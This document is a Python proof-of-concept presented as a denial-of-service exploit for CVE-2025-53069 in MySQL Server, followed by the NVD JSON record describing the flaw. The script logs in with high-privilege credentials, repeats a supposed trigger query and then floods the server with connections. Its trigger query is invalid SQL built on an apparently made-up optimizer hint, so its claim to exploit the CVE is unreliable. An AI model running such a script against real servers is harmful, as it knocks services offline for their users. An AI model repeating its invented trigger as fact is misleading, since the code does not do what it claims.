CVE-2025-53069

# CVE-2025-53069 PoC - MySQL Server Components Services DoS # This PoC demonstrates a denial-of-service attack against vulnerable MySQL Server # Note: Requires high-privileged MySQL credentials import mysql.connector import sys import time def exploit_mysql_dos(host, port, user, password): """ Exploit CVE-2025-53069 to cause DoS on MySQL Server by triggering the vulnerable Components Services module """ try: # Connect to MySQL Server with high-privileged credentials connection = mysql.connector.connect( host=host, port=port, user=user, password=password, connection_timeout=10 ) cursor = connection.cursor() # Trigger the vulnerable Components Services path # The specific component service query triggers resource exhaustion for i in range(100): try: # Repeatedly invoke the vulnerable component service operation cursor.execute("SELECT /*+ component_service_trigger */ * FROM information_schema.* LIMIT 1") cursor.fetchall() except mysql.connector.Error: # Server may become unresponsive print(f"[+] Server may be experiencing DoS condition after {i+1} iterations") break # Attempt to consume server resources through concurrent component operations connections = [] for j in range(50): try: conn = mysql.connector.connect( host=host, port=port, user=user, password=password, connection_timeout=5 ) connections.append(conn) except mysql.connector.Error: print(f"[+] Connection refused - server may be in DoS state") break # Cleanup for conn in connections: try: conn.close() except: pass cursor.close() connection.close() except mysql.connector.Error as err: print(f"[-] Connection error: {err}") if "Can't connect" in str(err): print("[+] Target server appears to be down - DoS successful") if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <host> <port> <user> <password>") print(f"Example: {sys.argv[0]} 192.168.1.100 3306 admin password123") sys.exit(1) host, port, user, password = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4] exploit_mysql_dos(host, port, user, password)

{"cve": {"id": "CVE-2025-53069", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:48.033", "lastModified": "2025-10-24T14:37:55.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Components Services). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.43", "matchCriteriaId": "8D5225F9-8289-48FD-A3E4-6D0C506E34C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndExcluding": "8.4.6", "matchCriteriaId": "53799060-8403-4F8A-BFFC-136073C0C9FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.4.0", "matchCriteriaId": "E45D5E7F-C3E3-401D-8A59-1398F421173C"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}